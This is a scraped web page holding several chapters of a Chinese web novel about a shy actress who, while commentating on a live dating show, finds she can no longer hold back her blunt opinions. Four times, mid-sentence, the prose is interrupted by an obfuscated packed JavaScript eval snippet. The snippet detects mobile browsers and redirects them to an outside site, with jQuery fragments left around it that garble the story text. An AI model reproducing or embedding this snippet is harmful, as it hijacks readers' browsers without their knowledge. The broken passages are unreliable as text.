“嗯……男嘉宾的刻板印象有点重。”十号女嘉宾说话总是轻声细语的,生怕声音高了会吓到谁一样,“而且我一定要为明月说句话,她绝不是男嘉宾说的那种人。她是个很好的女生,心地善良,性格也好,男嘉宾实在不该在不了解她的情况下就妄下结论。” 【赞同,这个男嘉宾确实不行。】 【十号女嘉宾说得对!】 【灯终于都灭了!】 【六号女嘉宾脾气还是太好了,被这么说都没怼他几句。】 【啊,看得我好气,还好大家都灭灯了。】 …… “很遗憾,吴庆璋,你只能止步于此了。”荀江说,“对这个结果,你有什么想法吗?” 吴庆璋看着倒无所谓,说:“没什么想法,我也想过可能会这样。” “你觉得是哪里出问题了呢?” “我不觉得哪里有问题。”吴庆璋说,“个人观念不同而已,她们不认可我,我也不会强求,更不会为了别人的三言两语就轻而易举地改变自己。” “好吧,那祝你早日成功找到心仪的对象。” “我还有个问题。”崔明如这时插话说,“吴庆璋,你的心动嘉宾是谁?介意我们向大家公布出来吗?我想观众们应该也很想知道,是不是?” 观众们以掌声做出了回应,齐刷刷地应:“是——” 吴庆璋犹豫了两秒,说:“可以公布。” “太好了。”崔明如期待地看向荀江,“荀老师?” 荀江笑笑:“好,那我们一起来看吴庆璋的心动嘉宾。” 梁颂也好奇起来,抬头看大屏幕。大屏幕上出现了一颗粉红色的心,在心的正中央是一个数字“8”。 “八号女嘉宾,我记得你一开始就没有亮灯吧。” 八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557414|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号女嘉宾名叫孙妍,长相甜美,此时她看到吴庆璋的心动嘉宾是自己,也略显诧异,应道:“嗯,我没有亮灯,男嘉宾不是我喜欢的类型。” 吴庆璋许是觉得她这话让自己没面子了,立即说:“其实八号女嘉宾也一般,只是比较接近我喜欢的类型而已。” 观众席传来一片嘘声。 【??你在说什么鬼话?】 【卧槽,这人有病吧。】 【你说说清楚,谁一般?】 【真想梆梆给他两拳!】 【什么人啊,自己破防了就攻击女嘉宾。】 …… 八号女嘉宾本就性子软,也没想到他会突然贬低自己,委屈地张了张嘴,又说不出什么。 荀江抬手示意观众安静,转向嘉宾席:“我们来听听观察嘉宾的看法。——柳彦老师?” 毕竟是直播,柳彦也顾及了吴庆璋的面子,只委婉地提了几句建议,希望他放平心态,看待事物不要那么偏激,但显然吴庆璋压根听不进去,接受得很敷衍。 荀江又问梁颂:“梁颂,你有什么想对吴庆璋说的吗?” 梁颂还对八号女嘉宾委屈的样子耿耿于怀,猝不及防被点名,脑子蒙了一瞬,随即飞快地组织语言。她虽然心里生气,但平素谨小慎微惯了,当众发飙这种事是绝对没有勇气去做的,便也打算说几句圆融话混过去。 然而下一秒,内心的真实想法却如同不受大脑控制一般倾泻而出,她听到自己的声音说:“要不你先买个镜子照照自己呢?” 语气甚至不自觉带了一丝嘲讽的笑意。 梁颂自己都呆住了。 不对,自己刚才说了什么? 就在她这句话说出来的一刹那,现场出现了片刻诡异的安静。 直播间的弹幕仿佛也短暂地凝滞住了,过了几秒,网友们似是终于反应了过来,飞快地刷出了大片弹幕。 【卧槽卧槽,这算不算人身攻击?这么勇的吗?】 【啊?这么直白?这是梁颂?】 【惊呆了,梁颂你要是被夺舍了就说一声。】 【虽然但是,骂得好!爽到了!】 【用最平淡的语气说最狠的话,侮辱性可以说是拉满了。】 …… 梁颂说完那句话就自闭了,低垂着眼,眼观鼻鼻观心,大气都不敢出,大脑一片空白。 之后,梅一辰说了什么她没听进去,主持人最后是用什么告别语把吴庆璋送下了舞台,她也完全不知道,陷在刚刚的旋涡里无法自拔。 第一位男嘉宾的全部环节结束后,中间有短暂的休息时间,允许大家适当活动活动。 出了这种情况,节目组自然不可能坐视不理,肯定会来进行一番沟通。 梁颂这样想着,听着后方的观众席热闹起来,沮丧地耷拉下脑袋,肩膀也微微垮了下去,既不敢贸然行动,又有种拔腿就逃的冲动。 韩清越起身时摸了摸她的头顶,轻声安慰她:“小事而已,别怕。” 梁颂仰起脸,勉强露出了一个笑容。 就在她等待着命运的审判时,崔明如走过来,笑眯眯地叫她:“梁颂,导演想跟你说几句话,你跟我来一下。” 5. 第 5 章 该来的总是要来的,梁颂心情沉重地起身:“嗯。” 崔明如许是看出了她的不安,打趣地说:“真是一鸣惊人呀,你是不是自己都被自己吓到了?” 梁颂愧疚地道歉:“对不起,我不是故意那么说的。” 她的确是受到了惊吓,毕竟她想说的分明不是那些,可是一开口时,就鬼使神差地说出了自己的真实想法。这不对劲,非常不对劲。 “哎呀,你别怕,我没有指责你的意思。”崔明如笑着说,“那个男嘉宾是有点一言难尽,我要不是主持人,高低也得说他几句。” 梁颂默然不语,心想,问题是自己并不想在直播中公然攻击男嘉宾的外貌啊,这种事情自己想也好,和朋友吐槽几句也好,都没关系,可一旦说出来就麻烦了,搞不好要被骂得狗血淋头,太可怕了。 她跟崔明如找到导演时,导演正跟身边的工作人员交代什么,示意她们稍等。 梁颂抿了抿嘴,挺直腰板,做好了立正被骂的准备,却不想,导演跟工作人员说完话,再转头跟她说话时脸上并没有出现明显的不悦之色,仍然是笑呵呵的,只轻飘飘地提醒了一句:“梁颂啊,年轻人有个性是好事,但说话也要稍微注意分寸啊。” 梁颂又羞又愧,小声说:“我知道了。” “别理他。”崔明如低声说,“你骂人的时候直播间的数据是最好的,他明明比谁都兴奋,现在倒好意思说这种违心话。依我看,他还巴不得你多骂几句呢。” 梁颂满腹狐疑:“不可能吧。” “我骗你干什么。”崔明如信誓旦旦地说,“总之,你别有太大的心理负担,这么点小事根本不算什么。我们之前录制的时候,更离谱的状况都出现过,只是后期都剪掉了,现场观众又没那么多,因此也不会引起太大范围的讨论。” “是吗……” “是啊。”崔明如点了点头,但又话锋一转,逗她说,“不过我看这次可能没那么轻松哦。” 梁颂的情绪才稍有缓和,闻言又紧张起来,问:“为什么?” 崔明如忍俊不禁:“因为是直播呀,肯定早有好事的网友录屏传出去了。” 梁颂脱口而出:“完了。” 崔明如哈哈大笑:“好啦好啦,不吓唬你了,真没事。——不就是说了几句大实话吗?这有什么?观众们又不傻,他们如果知道你是在什么情境下才会说出这句话,都会赞同你的。” “……” “好啦,你去休息下吧,待会儿还得继续录呢。”崔明如拍拍她的肩膀,“别怕,也别为此有什么顾忌,尽管大胆地说!” “……谢谢崔老师。” “客气什么。”崔明如又对她笑笑,转身走开了。 梁颂站在原地,长长地叹了口气,朝洗手间的方向走去。 说来惭愧,她在娱乐圈摸爬滚打几年,却依然没修炼出一颗强大的心脏,成为一个勇敢无畏的人。这固然大部分取决于她的天性,但也与后天的经历脱不开关系。 她从小就是大人们口中那种内向乖巧的孩子,不擅长与人交往,只要超过三个人在一起聊天,她就基本找不到机会接话,要说的话每每到了嘴边,只能滚一圈又咽回去。 长此以往,她认清了自己在社交上的无能,便自暴自弃地放弃了,选择老老实实地当个局外人。当然,这并非全无优点,起码帮她养成了细心的习惯。她能够敏感地察觉到他人的情绪变化,并且有意顺着对方的话去说,免得惹对方不高兴,让本就说不上乐观的人际关系雪上加霜。 长此以往,她对社交这事便生出了一种怠惰的心理,习惯性地用微笑伪装自己,不强行融入,不深度参与,与别人意见相左时也不反驳,这样反倒很轻松,也没有人会为此不开心。 而这样的她能和姚思曼成为无话不谈的好朋友,差不多可以全部归因于姚思曼是个社交恐怖分子,认识之初就盯上了她,随后强势地把她纳入自己的地盘,并且看穿了她的本质并非像表面看上去那样温顺无害,内心还潜藏着那么几分恶劣的因子。 在两个人很熟了之后,姚思曼不止一次地说过,她太在意别人的看法了,有时候瞻前顾后得简直过了头。但那根本就不是真正的她,真正的她明明也会黑脸,会骂人,有时候是很讨打,但鲜活可爱,更像个活生生的人。她完全可以释放本性,让自己更舒服,也不会产生什么实质性的恶果。 姚思曼说得不无道理,经纪人郑临风也多次提醒,在娱乐圈工作,工作性质和普通打工人不同,这种唯唯诺诺的性格不鲜明也不讨喜,她最好不要一直绷得那么紧,适当松弛点,说不定她的发展会迎来转机。 梁颂都听进去了,她心知肚明,自己之所以出道几年都不温不火,和性格不能说毫无关系。 但是,听是一回事,做又是另一回事了。 就拿眼下来说,没有人指责自己,可偏偏她自己无法轻易放过自己,脑海里反复回放那短短几秒的尴尬瞬间,越想越难受,越想越憋闷。 梁颂想着想着,停下了脚步,意识到自己应该跟郑临风联系的。 她从牛仔裤的口袋里掏出静音的手机,发现有好几通未接来电,都来自于郑临风和姚思曼,赶紧先给郑临风回电话。 郑临风过了许久才接电话,背景音很是嘈杂:“喂?梁颂?” 梁颂忐忑地交代:“临风姐,我好像闯祸了。” “等等。”郑临风言简意赅地说,又过了一小会儿,那头传来关门的声音,显然安静了不少,她这才接着说,“嗯,我已经知道了。” 梁颂难以相信她的反应就这么平淡,小心翼翼地问:“你不生气?” 郑临风反问:“我为什么生气?我以为你总算开窍了,学会主动制造话题了。” 梁颂张了张嘴,怀疑自己的耳朵也跟着出了毛病,半晌才吐出一个单薄的音节:“啊?” “挺好的,这不话题一下子就来了,就算被骂几句也无所谓。”郑临风也许是太忙了,加快了语速,“我还有事,等你那边结束再说,先挂了啊。” “哎——” 梁颂听着电话里的“嘟嘟”声,咽下没说完的话,无力地叹息。她本想再给姚思曼回个电话,可看看时间紧张,连洗手间都没敢去,便赶忙回了演播厅。 不料,她还没进去就被工作人员告知设备出了故障,直播还要再暂停半小时。 这倒正合了梁颂的心意,她礼貌地道了声谢,沿着走廊走出一段距离,找到了个安静的角落,左右看看没人,这才拨通了姚思曼的电话。 “梁小颂行啊梁小颂,你出息了!”姚思曼一接起电话,压根没给梁颂开口的机会,连珠炮似的说,“我刚刚还在摸鱼看直播呢,你说让那个男嘉宾买镜子照照自己的时候看他的脸了吗?他的脸又青又红的,笑死我了。弹幕也可热闹了,大家都说……” 她大概是在楼梯间接的电话,刻意压低了声音,但仍是难掩兴奋,一说起来就停不下来。 梁颂头疼地阻止她:“停停停,你先听我说。” “好好好,你说。”姚思曼轻咳两声,暂时克制住了自己的情绪,但说完又很纳闷,“哎?不对啊,你这个时间打来是要说什么?别耽误了直播。” “这不是重点,你先别管这个。” “哦……” “听我说,你一定要相信我,我出大问题了。” “啊?什么问题?” 梁颂谨慎地措辞,同时为了避免姚思曼误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557415|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会自己是在开玩笑,尽量让语气保持严肃:“我失控了。” 姚思曼沉默了。 “喂?思曼,你有没有在听我说!” “我听到了。”姚思曼艰难地应,“但我没懂,什么叫失控了?” “就是我的嘴不受控制了。”梁颂焦虑地解释,“我当时没想说那句话的,只是实在太生气了,就忍不住在心里骂他,可是荀老师一问我,我不知道怎么回事就说出来了。” “是吗?”姚思曼半信半疑,猜测说,“会不会是你的错觉啊,你一时上头没控制住自己,但又不想接受现实,所以才给自己找了这个牵强的理由。” 梁颂听她这么说,着急地辩解:“真的不是,我也不知道该怎么跟你描述当时那种感受,但我发誓那绝对不正常。——万一接下来的录制再出同样的问题,那怎么办?我好害怕。” 姚思曼似乎还处于状况之外,迷惘地问:“怕什么?导演骂你了?” “那倒没有,他看着心情还不错,只说让我注意分寸。” “那不就得了,说明导演深谙流量密码,压根就不care你这小小的失言。”姚思曼宽慰她,又问,“对了,那你经纪人呢,她怎么说?” 梁颂垂头丧气地回答:“她也以为我是故意的,想走黑红路线,可我真没有。” “黑红。”姚思曼重复了一遍这两个字,像是突然从中联想到了什么,倒吸了一口凉气,“啊,这么说来的话……” “嗯?” “这事,该不会和我有关系吧。” 梁颂不解地皱了下眉:“啊?什么意思?” “那个,我今天给你发消息的时候不是说了一句,流星会带给你好运吗?”姚思曼结结巴巴地说,“其实那是因为我昨晚看流星雨时帮你许了愿,告诉你是想给你一点心理上的慰藉。” 梁颂的心头顿时涌起一丝不祥的预感:“所以,你帮我许了什么愿?” “我说,希望你今年大红大紫,接戏必爆,荣升顶流,横扫热搜……”姚思曼越说声音越小,试探性地问,“不会要以这种方式成真吧?” 梁颂闭了闭眼,整个人都不好了。 对流星许下的愿望变成真的,梁颂对这种离奇的事暂时持保留态度,但仔细想想,姚思曼头天许了愿,自己今天就出问题,要说中间没有一点联系吧,又让人很难信服。 那么,如果真像姚思曼猜的那样,接下来的剧情走向就会是,自己继续肆无忌惮地“口出狂言”攻击男嘉宾,继而被网友挂到热搜上,被群起而攻之。众所周知,在热搜上蹦跶得多了就会被骂,被骂得多了就会“红”。 好好好,这么红是吧,这么个不顾人死活的逻辑是吧? 梁颂越想越气,气得笑出了声。 姚思曼生怕她是受的刺激太大,导致精神状态出了问题,忙道歉安抚:“对不起梁小颂!都是我的错!我每年过生日都会许买彩票中五百万的愿望,但从来都没实现过,万万没想到流星会这么灵,一次就中。” 她毕竟是好意,而且看流星雨都不忘帮自己许愿,单是这份心意就够让人感动了,自己又有什么理由责怪她呢? 梁颂叹了口气,说:“不怪你,都怪那脑残的流星听不懂人话。” “那怎么办。”姚思曼担心地说,“要不你尽量少说话?” “那主持人点名时,我也不能装哑巴吧。”梁颂此时已经冷静下来,或者说放弃了挣扎,语气里俨然带了一丝视死如归的意味,“没事的没事的,几个小时很短的。” “……那,那你保重啊。” 梁颂扯扯嘴角:“祈祷后面的男嘉宾都是正常人吧。” 姚思曼沉痛地说:“我与你同祈祷共命运。” 6. 第 6 章 半小时过后,直播继续。 直播间的网友们早就等得不耐烦了,纷纷发弹幕抱怨。 【什么鬼啊,你们这设备也太拉了吧。】 【真的是设备故障吗?我表示怀疑。】 【嗯,梁颂还在。】 【哈?不在还能去哪儿?不能因为一句话就临时换人吧。】 【我打赌后期会把梁颂的话剪掉。】 …… 荀江也就设备故障问题向现场的观众表示了歉意,说:“欢迎回到《缘来是你》,让我们用掌声请出今天的第二位男嘉宾。” 二号男嘉宾走上台,分别跟两位主持人握了手,做了个简单的自我介绍:“大家好,我叫肖乐,今年二十九岁,是一名律师。” 从外形条件来看,二号男嘉宾整体上优于一号男嘉宾,看起来也是个稳重的人,但梁颂不敢未经了解就妄下言论,只能寄希望于他为人也优于一号男嘉宾,不给自己“梅开二度”的机会。 “欢迎你,肖乐,请选择你的心动嘉宾。” 肖乐接过荀江递上来的平板,环视一圈后,从十位女嘉宾中选择出了自己的心动嘉宾,又交还给他。 梁颂为了忘记之前的尴尬,给自己定了个小目标,强迫自己把注意力放在肖乐身上,通过全程观察他的神情和表现,最后推测出他的心动嘉宾。 从肖乐视线在十位女嘉宾身上停留的时间来看,梁颂先缩小了范围,定在六号、七号和八号女嘉宾中的某一位。 流程按部就班地推进,听说肖乐的职业是律师,有好几位女嘉宾都很感兴趣,举手提问了一些关于他工作的问题,肖乐则是一一作答。 许是职业习惯的原因,肖乐说话很有条理,表述也相当严谨,梁颂对他的观感还不错,再去看女嘉宾,也有好几位皆是面露赞赏,亮起了面前的灯。 肖乐刚回答完一个关于法考的问题,八号女嘉宾孙妍又举起手,荀江考虑到时间分配问题,暂时制止了她,说:“好了,这一环节的提问就先到这里吧,各位还有什么问题待会儿再问。现在我们看到,肖乐得到了四盏灯,还不足以进入下一环节。” 梁颂敏锐地注意到,肖乐上扬的嘴角微不可察地耷拉了一点,不知道是不是因为错过了和八号女嘉宾的交流。 崔明如接口说:“没来得及亮灯的女嘉宾请抓紧时间哦,还有五秒钟的时间。” 计时结束后,又有三位女嘉宾陆续亮起了灯,其中就包括八号女嘉宾。 梁颂眼看肖乐的嘴角的弧度就跟和那盏灯的开关联动了似的,不由得面露微笑,心想看来他的心动嘉宾八成就是八号女嘉宾了。 【吓我一跳,我就说一号男嘉宾都能有五盏灯,二号男嘉宾怎么会只有四盏。】 【可能是一心聊天,一时忘记了吧。】 【从目前来看,二号男嘉宾比一号男嘉宾好多了。】 【你们都好认真,难道一直在分心看梁颂的只有我自己吗?】 【哈哈哈哈,我也,我在等她发言。】 …… “恭喜肖乐得到七盏灯。”崔明如鼓掌,又说,“我先来随机采访一下吧,七号女嘉宾李诗卉,我看你犹豫了一会儿,最后为什么还是没有亮灯呢?” 七号女嘉宾倒也坦率,抱歉地笑了笑:“男嘉宾很优秀,但我对律师这个职业实在是不感冒,因为我也有同学是律师,他们的工作都好忙,想约着吃个饭都很难协调彼此的时间,如果是谈恋爱,那就更可怕了。” 崔明如了然:“原来如此。确实,有些人择偶时会把职业看得非常重,可以理解。”她看向观察席,目光落在梁颂身上,“梁颂,我想问问你,你会在意另一半的职业吗?” 梁颂作为唯一单身的观察嘉宾,自知这种问题永远逃不过去,想了想,说:“我还好吧,没有硬性的标准,毕竟我自己的工作时间就不是很稳定,也没什么立场来挑剔对方。” “对方也是演员呢?” “也可以吧。” “嗯!”崔明如一本正经地总结,“温柔包容,情绪稳定,职业不限,记住了,我帮你留意着。”说着还冲梁颂眨了眨眼。 梁颂:“……” 要不要这么有职业精神,怎么下班了还想着上班。 【笑死,梁颂无语。】 【崔明如:告诉你们什么叫敬业。】 【话说梁颂有和谁传过绯闻吗?】 【没有吧,从来没听说过,大概无人在意。】 【啧,前面的你好伤人。】 …… 荀江笑着帮梁颂打了个圆场:“明如你又跑题了,快打住。” “哦哦哦,对。”崔明如从善如流,“那我们还是来摘面具吧,大家都喜闻乐见的。” “我看最喜闻乐见的就是你。”荀江摇摇头,对肖乐说,“肖乐,那就请你摘下面具吧。” “好的。” 肖乐点了点头,伸手摘下了自己的面具。他五官长得端正,浓眉大眼,是很正气且容易让人产生信任的长相,与梁颂的想象也出入不大。她有种预感,肖乐应该能成功和某位女嘉宾牵手。 摘下面具后,之后的流程顺利地向下进行。 肖乐的第一条短片拍摄的是自己的日常工作状态,包括和同事们开会讨论,约见当事人,加班写起诉书等,日程安排得满满当当,活脱脱高能量工作狂一枚无疑。 短片放完,梁颂看得目瞪口呆,女嘉宾们或许也有点惊到了,一时竟没有人发言。 在荀江的提醒下,八号女嘉宾抓住了机会,率先弱弱地举起手,问:“我想问一下男嘉宾,你是每天都这么忙吗?” 肖乐面上略显迟疑,说:“这个效果可能是因为把许多工作都浓缩到了一起吧,就我个人而言,忙的时候虽然是真忙,但好像也没有这么夸张。” 八号女嘉宾追问:“那你平时除了工作还做其他事情吗?” “工作日就是工作为主,休息日的话,也会跟朋友出去吃吃饭,打打球。”肖乐说着,又急急地补了一句,“我不是很宅,不会总一个人闷在家里面。” 八号女嘉宾听了,一脸真诚地说:“你好厉害。” “……有吗?” 崔明如附和说:“的确好厉害,我休息时就只想躺在床上,恨不得连饭都在床上吃。—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557416|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荀老师,你呢?” “我?我可不行。”荀江说,“我得带孩子去兴趣班,给他们做饭,陪他们玩,空闲时间很少。” 崔明如竖起大拇指:“好男人。” 【哈哈哈哈,崔明如仿佛在说我的日常。】 【啊,光是看着他工作我就累了。】 【八号女嘉宾是不是对男嘉宾有好感啊。】 【感觉是双向奔赴,男嘉宾还解释自己不是宅男呢。】 【不管了,先押这一对。】 …… 荀江不甚在意地笑笑,问肖乐:“假如你有女朋友了呢?会不会考虑重新分配时间?” 肖乐稍加思考,说:“具体问题具体分析吧,重要的工作也不能说丢下就丢下,我认为这是很不负责任的做法。” 他话音才落,就有两位女嘉宾选择了灭灯,显然是对这个答案不太满意。 荀江便转而询问观察嘉宾的意见:“柳彦老师,您怎么看?” 柳彦表现出了肖乐的欣赏,说:“我觉得这位男嘉宾他很坦诚,他没有一味揣测女嘉宾的喜好,而是很诚实地表达了自己的想法。在接触之初就把涉及原则的问题说清楚,我认为这对以交友为目的的男女来说是很有必要的,可以有效避免很多分歧。” 另一位观察嘉宾梅一辰说:“我也赞同柳彦老师的话,与其之后为这些争执不休,倒不如一开始就选择和自己最合拍的人。” 韩清越一直在安静地听他们说,被崔明如问到时才开口:“两位老师说得很有道理,不过我想,为了很在意的人,做出妥协也未尝不可。” 当年她结婚生子淡出娱乐圈的消息一度引发热议,还有小道消息称是她的婆家提出这样的要求,作为她和男朋友结婚的条件,否则永远都不会承认她的存在。但众说纷纭,没有人知道真假,当事人也从未发声澄清什么。 眼下韩清越说出这话,想来就是从亲身经历出发,虽说如人饮水冷暖自知,但梁颂仍有些为她可惜,在心里悄悄叹了口气。 既然三位观察嘉宾都发言了,梁颂自然也别想逃过去,被崔明如犀利的眼神盯上:“梁颂,要是你将来的另一半要求你放弃工作回归家庭,你愿意吗?” 为了男人放弃工作?然后呢?留在家里给他打扫屋子做饭? 梁颂光是想想这个场景都后背发毛,但韩清越就坐在旁边,她很怕自己说得太绝对会让韩清越觉得面子上过不去。 那么问题来了,自己到底有没有说话自由呢?验证姚思曼的流星论的机会来了。 梁颂吞了吞口水,想说:“我个人不太愿意,如果对方提出这样的要求,我会和他好好沟通,说服他放弃。” 然而下一秒,她听到自己斩钉截铁地说:“不可能,他想都别想,大不了分手,这种男朋友我才不稀罕。” 【说得对!】 【这次我百分之百赞同梁颂。】 【嘶,这么说不太好吧,韩清越还在听着啊喂。】 【救命啊,韩清越不会误会梁颂是在故意阴阳她吧。】 【没那么严重吧,韩清越又不是那种刻薄的人。】 …… 7. 第 7 章 对梁颂不留余地的话语和坚决的态度,崔明如颇感意外。 在知道这一期的飞行观察嘉宾是梁颂后,她先去搜了搜梁颂的资料,对她有了个大概的了解,结合短暂的接触和交流后,便形成了一个初步的整体印象,觉得梁颂应该是个性格比较温吞含蓄的小姑娘,可能被多开几句玩笑都会脸红的那种。 而面对一号男嘉宾的不适发言时,她又丝毫没有掩饰自己的不满和厌恶,直言不讳。虽然她自己说不是故意的,但看她说话时的神态,她是真心那么想的。 到了现在,她在表达自己的观点时也有一股不会受外人左右的坚定和果决,和自己所了解的都不一样。 这个小姑娘挺有趣的,崔明如挑了下眉,抱着探究的心态,又问:“说得这么绝对,就没有缓和的余地吗?” 梁颂摇摇头:“没有,我认为要求别人为自己放弃什么根本就是一种极其霸道无理的行为,在他人压力下轻易放弃自己重视的东西也是软弱的表现,这两种都是我不能接受的。当然,这仅代表我的个人看法,不是要批判认可这种做法的人。” 她这番话说得很顺畅,仿佛它们就在嘴边,自己不需要思考就可以自然而然地将其吐露出来,而不是像以前那样,瞻前顾后,小心翼翼地斟酌用词,仅仅是由于害怕得罪任何一个人。 奇妙的是,这种说出真实想法的感觉并不坏,反而还让她产生了一种从头通到脚的清透的舒畅感。 她也差不多能确信了,自己能这样说真心话,源头就在姚思曼那颗倒霉的流星无疑了。 不过,没有更多时间让她感叹,因为她听到崔明如对韩清越说:“韩老师,关于梁颂的话,你有什么想说的吗?” 【啊?就这么水灵灵地问出来了?】 【天哪,我开始替梁颂尴尬了。】 【梁颂笑得好勉强啊。】 【今天的梁颂真的好奇怪,她以前不是这样的啊。】 【对对对,她以前超安静,说话很少,永远都是小小声的。】 …… 对任何一档节目来说,热度都是十分重要的,像这种通过挑起嘉宾之间的观念碰撞从而引发观众讨论的机会,他们更不可能会放过。 韩清越也不是什么傻白甜,对此自然心知肚明,她沉吟片刻,说:“嗯,说心里话,我还蛮高兴梁颂能这么想的,这说明现在的女生越来越具备独立思考的能力和坚持己见的勇气。这是社会进步的结果,也是所有女性不懈奋斗的结果。” 说到这里,她看了梁颂一眼,接着说:“算起来,我和梁颂是两代人了,在我们那一代,女生受到的束缚其实是远远多于现在的。周围的人都在告诉你,要照顾家庭,照顾孩子,好像你一旦结了婚,身份就只剩下了妻子和母亲。但他们都忽略了一个事实,你首先是一个独立的个体,其次才是其他,这是很可悲的,所以我希望所有的女生都要努力让自己变得强大,这样才能有足够的底气去过自己想过的生活。” “韩老师说得太好了。”崔明如带头鼓掌,又好奇地问,“假如有重新来过的机会,你会怎么做呢?依然会选择放弃事业回归家庭吗?” 这个问题也问出了梁颂的疑问,她好奇地看向韩清越。 荀江用开玩笑的口吻说:“明如你这是在制造家庭矛盾。” 崔明如无辜地问:“诶?我有吗?” 韩清越却并不在意,微微一笑,说:“这种假设没有什么意义呀,人生没有后悔药,我们每做出一个选择,也许都会在将来的某一天后悔,与其总花时间在后悔上,倒不如过好眼前的生活,不是吗?而且,我现在拥有的一切都是我想要的,我很满足,没什么可后悔的。” 【崔明如可真敢问。】 【我觉得这种讨论还蛮有意义的。】 【韩清越脾气真好,一点都不生气。】 【反正人家现在过得好好的啊,家庭美满,又有钱。】 【重点是,有钱。】 …… 荀江将话题拉回到主角肖乐身上,询问其他女嘉宾还有没有要向他提问的。 梁颂默默地松了口气,再聊下去,她真不知道该怎么说了。 不过,她很庆幸此时坐在这里的是韩清越,还能平和地交流探讨,要是换成个不好相处的,听到自己说的话说不定会以为她在阴阳怪气地挑衅,反过来把自己怼一通。 哎,真是太难了。 肖乐接下来的流程进行得很顺利,又经过几轮提问,还有两位女嘉宾为他亮着灯,随后便进入下一个环节,即播放第二条短片。 第二条短片的内容依然是情感经历和择偶要求,肖乐这个工作狂不负众望,只在大学期间有过一段感情经历,毕业时和女朋友因未来规划不同而和平分手,之后就一直单身,倒也挺符合梁颂对他的印象。 感情经历干净这一点也是加分项,在这一环节的互动结束时,又有一位女嘉宾亮起了灯。 按照节目规则,在进入终选环节时,如果场上亮灯的数量大于两盏,男嘉宾需上前灭灯至两盏,在这两位女嘉宾以及心动嘉宾中进行选择。 荀江说:“好,现在我们看到场上有三盏灯为肖乐亮着,分别是一号女嘉宾赵昕、五号女嘉宾盛嘉和八号女嘉宾孙妍,还有女嘉宾要选择亮灯或灭灯吗?再给大家最后五秒钟的时间考虑。” 没有女嘉宾做出反应,荀江便转向肖乐:“恭喜你获得反选权利,请你走到女嘉宾面前,灭掉一盏灯再回到我这里。” 肖乐点了点头,没怎么犹豫,径直走向了五号女嘉宾,对她微微鞠躬:“抱歉。” 五号女嘉宾耸耸肩,伸手灭掉了自己的灯:“祝你成功。” “谢谢。” 等他回到舞台,崔明如打趣:“你连一分钟都没用,为什么这么干脆地灭掉了五号女嘉宾?有什么特别的理由吗?” 肖乐笑着摇摇头,没说什么,但心情很好是显而易见的。 梁颂心想,对他来说,要灭谁根本不重要,重要的是留谁,他灭五号女嘉宾的灯搞不好单纯是因为离得近。 她勾了勾嘴角,等着验证自己的猜测。 荀江将一号女嘉宾和八号女嘉宾请到台上,让她们站在两侧,又对崔明如说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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既然八号女嘉宾都站到台上了,梁颂的底气也足了不少,再加上在她目前的情况下,逃避也没用,索性豁出去了,开始长篇大论,列举理由:“第一,男嘉宾在选心动嘉宾时,我注意到他的目光在六号到八号女嘉宾那里停留的时间比较长。第二,荀老师没让八号女嘉宾提问时,男嘉宾很失落,而当八号女嘉宾亮灯时,他笑了。第三,在谈及工作问题时,面对八号女嘉宾的提问,男嘉宾迟疑了,我猜他是怕吓退八号女嘉宾。第四,他去灭灯的时候速度很快,要么是这几位女嘉宾他都不想选,要么是他想选的已经在其中了,所以他很轻松,但根据前面的表现,我倾向于是第二种。综合以上几点原因,我推测他的心动嘉宾就是八号。” 崔明如“哇”了一声,夸奖:“梁颂真是深藏不露啊,观察非常细致,分析得也很有条理。” 荀江也说:“的确,梁颂很细心,各种细节和微表情都观察到了。梅老师,您怎么评价她的分析?” 梅一辰是教心理学的,闻言点头赞许:“这种观察力也很适合学习心理学,欢迎来报考我的研究生。” 大家都笑了起来。 梁颂当然清楚他们的称赞有夸大的成分,但自己不专业的分析能得到认可,毕竟也是件值得开心的事,有点难为情地垂下了眼。 【有理有据,鼓掌!】 【就是八号吧,细看还挺明显的。】 【你们都猜八号,那我也猜八号。】 【我弃权,我只听了声音,猜不出来。】 【怎么回事,两个男嘉宾的眼光这么一致的吗?】 …… 崔明如说:“好!我就听梁颂的了,八号女嘉宾。” “嗯?你这果实窃取得也太顺手了吧。” “不不不。”崔明如摆手否认,“这说明我和梁颂英雄所见略同。” 荀江笑着应:“好,那接下来就让我们共同检验一下你们两个的结论是否正确。——请看大屏幕!” 8. 第 8 章 随即,大屏幕上出现了肖乐的心动嘉宾,梁颂猜对了,正是八号女嘉宾。 